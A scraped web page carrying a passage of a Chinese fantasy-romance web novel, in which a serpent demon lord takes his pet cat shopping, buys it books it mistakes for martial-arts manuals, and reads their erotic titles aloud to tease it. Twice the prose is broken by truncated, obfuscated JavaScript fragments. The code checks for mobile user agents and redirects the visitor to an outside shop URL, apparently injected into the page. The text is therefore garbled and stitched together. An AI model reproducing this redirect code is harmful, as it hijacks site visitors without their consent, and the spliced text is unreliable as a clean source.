l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021358|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !猫穿的就是好看又仙气飘飘的小斗篷背心马甲披风还有毛绒小帽! 当然了,能够当妖宠养的族类并不是只有猫。 狗、鸟、仓鼠......等等等等,都是可以作为妖宠养的对象。 甚至妖宠服饰铺的门口这会儿还堵着一头足足有三米高的大象。 大象的主人在一旁与店铺老板据理力争道:“我家香香怎么就不是妖宠了,它还只是一只宝宝!你这是赤裸裸的物种歧视。” 店铺的老板是只松鼠妖,小小一只人畜无害的样子。 这会儿擦了擦额头上密密麻麻的细汗,苦口婆心地劝说道。 “不不,您误会了,我没有任何歧视的意思,您家香香当然是您的宝宝。只是咱们铺子里真的没有适合您家香香穿的衣裳,您要不还是上别家看看去吧?” 大象的主人本还想要再说些什么,一道冷硬的声音却在此时响起:“喂。” “要找茬就上一边找去,你挡路了。” “诶你怎么说话的你......”大象主人话还没有说完,就隔着斗笠的薄纱与少年对上目光。 少年看起来年纪不大,斗笠下的眼眸却极冷,散发着十分危险的气息,不是只有筑基期的他可以打过的。 大象主人再一一扫过旁边的少女和男子。 最后是在男子怀里,朝着自己张牙舞爪、威风凛凛的小白猫。 大象主人:“......” 他最终还是牵着自己的香香,灰溜溜地转身走了。 好不容易送走这尊大佛,松鼠妖连连向日尧诚恳道谢,再低头看看晏岐怀里的小猫,笑盈盈地说道。 “这是您的妖宠吧?长得可真漂亮,咱们店里有很多适合小猫咪穿的衣裳,您三位随便选,随便挑。” 进店就是质地柔软的浅蓝色小马甲,可可爱爱的猫耳小帽,有着空心铃铛作为吊坠的小斗篷...... 各种小衣裳看得虞窈眼花缭乱。 这件好好看! 那件猫也想要! 虞窈最后系上了一件朱红色的小斗篷。 红色最最衬猫! 而且,斗篷的波浪形边边上还有一圈白色绒毛,柔软而又暖和。 猫就喜欢这种毛绒绒的事物。 因为猫也是毛绒绒的哇0v0。 不过说起来,变成晏岐的妖宠这么久了,虞窈其实还不清楚这具身体究竟长什么模样。 毕竟晏岐的寝殿里没有镜子,她平时也没有别的可以照到镜子的机会。 怀着激动而又期待的心情,猫来到了设在店铺角落里的铜镜跟前,探头一看。 然后就看见了一只—— 左耳大右耳小,鼻子嘴巴歪七扭八,就连脑袋也凹成了“v”字形的,奇形怪状的猫。 说实在的,猫被吓了一大跳。 以至于想也不想就高高扬起肉垫,十分用力地“啪啪”打了那面铜镜两下。 呔,这什么怪东西?! 也就是在这时,一头雾水的日尧不解地探头凑了过来。 于是乎,猫又在铜镜一角看到了一张丑得惊天地泣鬼神的脸。 眼睛鼻子全都错位,耳朵比脑袋还大的那种。 猫忍不住咧开猫猫嘴,很凶地朝那张脸“哈”了一下。 丑东西!丑东西! 你丑到猫了知不知道?! 紧接着就听晏岐轻笑一声。 猫还没来得及冲蛇发飙,那只冰凉的大掌便轻轻扶住小猫咪的后脑勺,将她掉转了个方向,看向了旁边的另外一面镜子。 刚一对上镜子,猫就一下子怔愣住了。 只见镜子里的小猫咪双眸亮亮,每一根毛发都蓬松柔软,近乎透明的胡须端正纤长,穿在身上的红色小斗篷也与白色毛发相得映彰。 小斗篷的上面还有顶有着一对毛球球的猫耳帽呢。 上一秒还在龇牙咧嘴的小白猫瞬间瞪大了眼睛。 左看,右看,上看,下看。 再不由自主地端坐蹲好,就连尾巴也端庄优雅地盘在了身前。 哇! 好完美! 是漂亮猫猫! 19.第十九章 虞窈对于自己的新形象非常满意,穿上了小斗篷就不肯脱下。 旁边的月女也很是捧场地双手捧起脸颊,换了个声调说话:“太好看了小白,你简直就是三界里最漂亮的猫猫!” 虞窈被夸得心花怒放,挪着小脚脚就贴到了月女的手边上。 猫猫头一歪—— 小蝴蝶,贴贴~ 猫猫所见略同哇! 月女又挑了好些别的可可爱爱的衣裳,放到小白猫的身前各个角度比对着。 “小白,你要不要再试试这套?” “这套也很不错,你穿着绝对好看,我打包票!” “好了。”一只大手在此时捞过猫,重新抱回了自己怀里。 晏岐半垂着眼睫,长指拨拨小狸奴的耳朵尖:“既然喜欢,就都打包起来吧。” 堂堂妖界尊主,不至于连买自家妖宠的衣裳还要挑挑拣拣,吝啬地只买那么一两套。 - 从妖宠服饰铺里出来,把大大小小打包好的吃食以及衣裳全都收进储物袋里。 正打算原路返回妖殿的时候,一行妖偶然路过了一间书屋。 这间书屋装潢老旧,应是在这里开了有些年头,生意却尤为惨淡。 就算有妖路过了这里,也懒得施舍一个眼神。 毕竟,妖嘛,有闲情逸致看书的少之又少,绝大多数都没有什么文化。 能够认识“个、十、百......”,就已经很了不起了。 晏岐却不知想到了什么,抱着猫停驻了脚步。 一蝴蝶一狗猝不及防,也跟着停下:“公子,怎么了?” “进去看看。” 说罢,抱着猫便走了进去。 蝴蝶和狗面面相觑着,连忙快步跟上。 书屋的掌柜是只鸡妖,胡须花白,有着轻微的斗鸡眼,鼻梁上还架着一对老花眼镜,嘴角叼着只烟斗,正躺在太师椅上悠悠翻着书。 许是平时就算有妖进了店也不会买,眼瞅着这会儿有人来了,鸡掌柜的态度也并不热络。 只是叼着烟斗,随意地挥了挥手,甚至连头也没抬:“书架旁有提篮,看上什么书自己拿,选完过来自觉结账就好。” 日尧这暴脾气自然是接受不了有妖用这样的态度对待自家尊上的。 拜托,这种小妖寻常连见到尊上的资格都没有,居然还敢这般冷落尊上。 要是让他知道此时此刻站在他面前的人是妖界尊主,还不得吓得屁滚尿流,直接过来参拜了? 正要闪身至鸡掌柜面前,给他点颜色瞧瞧,一只纤细的手忽地按住了日尧的手腕。 转眸,是戴着面纱的月女。 她无声地朝日尧摇了摇头,意思是:秘密出行,不要惹是生非,给尊上带来不必要的麻烦。 日尧:“......” 狗只是微微张大了嘴,看了看月女露在面纱外湛蓝色的眼睛,又低头瞅瞅少女攥在自己腕间的手。 不知想到了什么,才消退下去没多久的红晕又重新浮现了出来。 两息后,少年“唰”地一下就抽回了手,将两只手都背在了身后面,没有再多看少女一眼。 然后来到排排书架前,装模作样地翻阅起整齐摆放在书架上的各色书籍。 还没看出个所以然来,月女的声音就幽幽地从他身后飘过:“装什么装,看得懂吗你就搁这儿看?” 日尧:“......” 不儿,能不能善待狗,给狗留点自尊心啊! 至于晏岐这边—— “之前不是对本尊的那些书很感兴趣?”已经来到了另一侧的晏岐停在一座书架前,抬指拨弄着怀里小白猫耳朵尖尖上的小簇绒毛。 “本尊今日心情不错,可以给你一个机会。还想看些什么,本尊都可以给你买回去。” 小狸奴睁着双溜圆的漂亮鸳鸯眼,昂起猫猫头看着男人近在咫尺的优越下颌,又扭头看看书架上那些其实连名字她都还认不太全的书籍。 尽管猫已经很努力地在掩饰了,但晏岐还是一眼就看穿了小猫咪内心最真实的想法。 “看不懂?”晏岐轻笑,捏一捏小白猫的耳朵,“那之前还看得那么起劲?” 小白猫龇牙。 猫乐意,猫就爱看,要你管啊? 晏岐只是道:“没关系,本尊可以念给你听。” 闻言,猫立时就睁大眼睛,“蹭”地一下仰起小脑袋来,戴在头上的猫耳帽险些都要掉下去了。 像是在问。 当真?天底下居然还有这种好事? 晏岐:“本尊的话还能有假?” 那猫可就不客气了。 小白猫立马支起圆滚滚的身体,软乎乎的小短腿搭在檀木书架边缘,肉垫挨着拍了又拍。 虽然猫不怎么识字,但那些赫赫有名的武功秘籍,猫还是有所耳闻的。 这个这个,《九xxxxxx》,一定就是江湖流传的《九阴白骨爪秘籍》,猫要了。 那个那个,《xx肖(销)xx》,肯定就是失传多年的《黯然销魂掌》,猫也要了。 还有这边这个,《xxxx二十四x》,绝对就是大名鼎鼎的《金关玉锁二十四诀》,猫全部都要了! ...... 晏岐方才的注意力全都放在了猫的身上,以至于并未留意自己把猫带来了哪里。 这会儿视线从小白猫点明要的那些书籍上面一一掠过,男人眉梢微抬。 “你确定要买这些?” 小白猫点头如捣蒜。 那当然,猫十分确定以及肯定。 等猫学成归来,再渡劫成功,定要把你打得落花流水、跪地求饶。 一想到那副场景,虞窈就不由得心旷神怡,浑身都燃起了学习的斗志。 猫,日后定要惊艳众人,变成一只文武双全的猫! 晏岐狭长的眼尾轻挑,倒也没再多说什么。 他把小狸奴点到的书籍一一放进了装书的提篮里,淡声说道:“好。” 选完书,到鸡掌柜这儿来结账,在看清了每本书的名字后,月女的表情一下子就变得有些一言难尽起来。 “公子,这......” “猫要的。”晏岐淡淡扫了月女一眼。 男人没有再多说什么,意思却很明显。 不要多话。 被晏岐抱在怀里的小白猫此时昂首挺胸,十分得意地高高翘起了尾巴。 是猫挑的,全部都是猫挑的哦! 小蝴蝶是不是也被猫的熊熊好学之心给折服了? 没关系,人之常情罢了。 月女:“......” 就连叼着烟斗的鸡掌柜听了晏岐的话,也饶有兴味地瞥了他怀里的小白猫一眼。 乐呵呵地结了账。 只有日尧很不服气地立在一旁,垂着尾巴偷偷生闷气。 凭什么,狗不服。 为什么一只猫都能比狗有文化? - 回到妖殿后,高央先是陪着虞窈在庭院里玩了一会儿。 但小白猫今日明显有些心不在焉,满脑子想的都是买回来的那些武功秘籍。 就连小蝴蝶来了,用蝴蝶逗引着猫,猫都没有了扑追蝴蝶的心思。 没办法,月女只好把虞窈抱去了晏岐那里。 “尊上,今日出去一趟,小白似乎逛累了,属下便擅自把她抱了过来,望尊上恕罪。” “噢?是么?”正在运功调息的晏岐缓慢睁开了眼,墨绿色的竖瞳淡淡看向月女怀里精神恹恹的小白猫。 “本尊今日就没让猫自己下地走过一步,还能把猫给累着了不成?” 月女张口哑然:“这......” 好像还真是这样。 那是怎么一回事?小白又生病了? 却见小白猫不知是看见了什么,突然间来了兴致,抻着小短腿便不由分说地从月女的怀里蹦跶了下去。 平稳落地的同时,伴随着“扑通”一声。 妖殿震感明显。 小白猫三步并作两步地快速来到晏岐跟前,顺着晏岐的衣袍一角就要往几案上爬。 哪里还有方才在庭院里那幅没精打采的模样。 晏岐这次倒是没有用妖息了。 男人伸出手来,冰凉的大掌托着小狸奴的屁股墩,就这样将她稳稳送上了几案。 小白猫目标明确,咪咪喵喵地径直冲到了今天刚买回来的那些书籍跟前。 毛绒绒的小脑袋一拱,就把摆在最上面的书拱到了晏岐的手边上。 肉垫拍拍书的封皮,身后蓬松的大尾巴来回晃了又晃。 “喵。” 说好的,回来后蛇要念给猫听,可不许反悔喵。 看出了小白猫的意图,晏岐微微勾起唇角。 硕大的蛇尾在地毯上缓慢游移着,他懒声道:“原来是猫求知若渴,都无心玩耍了。” 小白猫十分骄傲地点点脑袋,笔直的双腿规规矩矩地立在身前,大尾巴也从身后绕过来,盘在了一双白手套上。 是很标准的猫猫坐姿。 没错没错。 猫要开始认真学习了,这次一定不会听着听着就睡过去,势必要卷鼠你丫! 晏岐挥了挥手,示意月女:“下去吧。” 月女看看晏岐跟前的小白猫,又看看被压在小白猫肉垫之下的书籍。 嘴唇嗫嚅了几下,像是想要说些什么。 最终却还是一个字都没有讲。 眨眼间便悄无声息地消失在了寝殿里,仿佛从来就没有出现过一样。 - 晏岐伸手,玉白的长指捏住书籍的边缘,想要把书从小白猫的肉垫底下给抽出来。 扯了扯,没能抽动。 没看出来,猫儿的力气还不小。 “不是要本尊念给你听?”晏岐以手支颐,墨黑的长发自然而然地滑过他的肩膀。 “不把书给本尊,本尊如何念给你听?” 噢,是哦。 猫这才松开了爪。 晏岐拿起那本书,翻来覆去地粗粗看了一下,最后一次向猫儿确认。 “当真要本尊给你念这本书听?” 小白猫点头如捣蒜。 买都买回来了,那不然呢? 晏岐于是懒洋洋地翻开了书的第一页:“好。” 这本书看起来其实和鸡掌柜的书屋一样,有些年头了。 纸张的边缘有点轻微的泛黄,就连书皮也有些皱皱巴巴。 不过没关系,武功秘籍嘛,在三界里流传了那么多年,更不知经了多少人或是妖的手,有些损坏的地方也很正常。 能学就行,猫才不会斤斤计较。 至于晏岐的声音很是低沉,或许和蛇的天性有关,他的语调通常也是和缓懒倦的。 只是不似冬日里的暖阳那般懒洋洋,靡丽的嗓音更显森冷阴郁,别有一番腔调。 而此时此刻,晏岐轻缓开口:“‘第一回:夜雨纵深湿花露,良辰春宵虚无度。’且说那日张郎醉酒后......” 刚听了个开头,猫就意识到了不对劲。 十分有一百分的不对劲。 一双猫猫眼窦然睁大,小白猫“咻”地一下子就扑到晏岐手边,软乎乎的肉垫不由分说地扒拉起他手里的书籍。 意思很明显:诶诶诶,我的武功秘籍上哪儿去了?你这念的都是些什么乱七八糟的玩意儿,是不是仗着猫不识字,在驴猫? 晏岐垂眸看着这会儿明显是慌了的小白猫,神色自若地歪了下头,平静道。 “不是你要本尊念这《黯然销魂夜》给你听的么?现在又是在作甚?” 《黯然销魂夜》......等等,她当时选的不是《黯然销魂掌》吗?! 小白猫不可置信地从晏岐手底下夺过书,粉色肉垫将书籍翻得凌乱。 然后十分绝望地发现,晏岐这条臭蛇好像真的没有在乱念。 因为就在这本《黯然销魂掌......啊不,夜》的中间,每隔几页就穿插着一幅不可描述的黑白画。 画面直白而又狂放,明示着这本书讲的到底都是些什么内容。 小狸奴目光呆滞,整只猫瘫坐在几案上,怀疑了好一会儿猫生。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027652|193991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忽然又想起来—— 既然这《黯然销魂掌》都能变成劳什子《黯然销魂夜》,那她要晏岐买的其他书岂不是也...... 小白猫立马就把买的第二本《九xxxxxx》拱到了晏岐手边。 晏岐竟也读懂了小白猫的意思,面不改色地继续说道:“是要换这本《九岐蛇尊爱惨我》听吗?” 猫:“?” 她又拱下来那本《xxxx二十四x》,肉垫用力拍拍书皮。 这本呢,这本总不会有错了吧? 晏岐顺手拿起:“看来,你还是对这本《与蛇尊的二十四夜》更感兴趣?” 猫:“......?” 小白猫立马就啪嗒啪嗒地连着往后退了好几步,毛绒绒的后背抵着摞起来的各色书籍以及奏信,那张鲜活生动的猫猫脸上也露出了“这不是真的”的表情。 救命,咪的天塌了。 难怪在结账的时候,月女和鸡掌柜要用那样的眼神看着自己; 难怪刚刚小蝴蝶被晏岐遣退前,会是那副欲言又止的模样; 难怪鸡掌柜的书屋生意能如此惨淡...... 卖的都是些什么破小黄书,这种不正经的店能有生意才奇了怪了。 查封!立马给猫查封掉! 晏岐却像是没有看出猫的崩溃,浓睫微敛,长指翻开了下一本书,从容不迫地继续说道。 “又或者,你更想听本尊给你念这本《带球跑十年,我与妖尊之间不可描述的爱恨情仇》?” 啊啊啊啊!我仇你个&%*¥#hf%! 小白猫想也不想就径直扑到了晏岐脸上,两只肉垫更是不由分说地堵住了他尚开合着的嘴唇。 你给猫闭嘴!不许再念了! 猫不听!猫不听!!! 该怎么说呢,这个画面其实是有一些......壮观的。 毕竟,受万妖尊崇的蛇尊会被一只小狸奴扑脸这种事,足以颠覆所有小妖的想象。 开什么玩笑?要是真有胆大包天的小猫咪敢对蛇尊做这般无礼的事情,早就被蛇尊的两名暗卫带去剥皮抽筋了。 然而此时此刻,晏岐却只是很轻地垂了下眼,真的如猫所愿,没有再继续说那些让猫觉着难为情的话。 与其说是被小狸奴堵住了嘴,更像是微微怔愣住了。 小白猫圆滚滚的身体此时都紧紧贴在了他的下颌以及脖颈上面,两只毛茸茸的后脚丫子居然也很会找着力点,就这样直接岔开,踩在了他的两侧锁骨之上。 养了这么一段时间,猫肉眼可见地吃胖了许多,身体也长大了不少。 就这么支着爪爪挂在脖颈上时,能清楚感觉到猫的份量。 不算沉,却极有存在感,不容忽视。 印象中,这似乎还是猫第一次主动愿意和他贴得这样近。 晏岐能够清楚地感受到猫温热柔软的身体,以及她近在咫尺,正在“扑通扑通”、铿锵有力的心跳。 毫无疑问,猫是柔软的,鲜活的。 还有些别的什么......晏岐其实也不知道究竟该如何形容了。 就像是一向擅长诗词歌赋的他,忽然之间也变成了一条丈育蛇,言语匮乏。 猫身上的味道同样也令晏岐感到新奇。 不是潮湿的苔藓,清冽的松竹,亦或是沉郁的熏香。 而是暖洋洋的太阳气息,草地鲜花的芬芳,以及各种吃食未散的味道。 还有一些别的说不上来的气味,也全部都混杂在了一起。 组成了独一无二的,可爱的小猫味道。 浓浓的小猫味扑面而来的时候,那软乎乎的肉垫还死死按压着他的嘴唇。 ——猫刚被剪了指甲,没有了锋利的爪尖,所以尽管这会儿雄赳赳气昂昂的架势瞧着很凶,却并不会挠伤蛇的脸。 倒是那纤长到近乎透明的胡须轻飘飘掠过面颊时,有一些痒。 晏岐轻缓地眯了眯眼。 粗长硕大的暗色蛇尾也停止了无意识的游动。 他忽然前所未有地觉着,自己的心有一点热。 对于向来冷血冷情的蛇尊而言,这其实是一种很奇怪的感觉。 偌大的寝殿一时间变得很安静,很安静。 就像是时间也跟着静止了一样。 以为晏岐是被自己的凶猛高大给威慑住了,小白猫再接再厉,咧了咧嘴,朝着晏岐就是很凶的一声。 “哈——” 哼,知道怕了吧? 怕就对喽。 还不快速速参拜猫猫大王。 却见晏岐那双墨绿色的深邃竖瞳一移不移地盯着自己。 片刻后,忽而很轻地弯了弯。 猩红的蛇信向外探出,近乎恶劣地、带着十足的恶趣味,不着痕迹地舔了猫的肉垫一下。 也就只是这么一下,小白猫便彻彻底底地呆滞住了。 哈气的动作骤然停滞下来,身后蓬松柔软的大尾巴顿时也不摇了。 ...他他他他他,这条臭蛇在干嘛?! 她还只是一只小猫! 小猫咪的脚脚是你这种臭蛇随随便便就可以舔的吗? 啊啊啊啊,娘亲,这里有变态啊,快来救猫! 虞窈下意识地想要后退,却忘了自己身后这会儿空无一物。 眼见着就要一脚踏空,向后跌去,一只冰凉的大掌却在这时候稳稳扶住了她毛茸茸的后脑勺。 是晏岐。 晏岐像是丝毫不认为自己做了什么了不得的事情般,只很轻地歪了歪头,目不转睛地继续盯着小狸奴那双漂亮而又生动的大眼睛。 忽而又微微张开唇,蛇的一对尖牙在唇下若隐若现,随即不轻不重地—— 咬了小狸奴抻着的小爪子一下。 做完这一切,骨节分明的玉白长指才拿起了搁置在几案上的最后一本书。 晏岐终于慢条斯理地移开眼,淡漠的视线落在了书的封皮上面。 “还是说,本尊就给你念这本《我的亲亲妖宠变成人后,母爱瞬间变质》。” “——当做你的睡前故事好了?”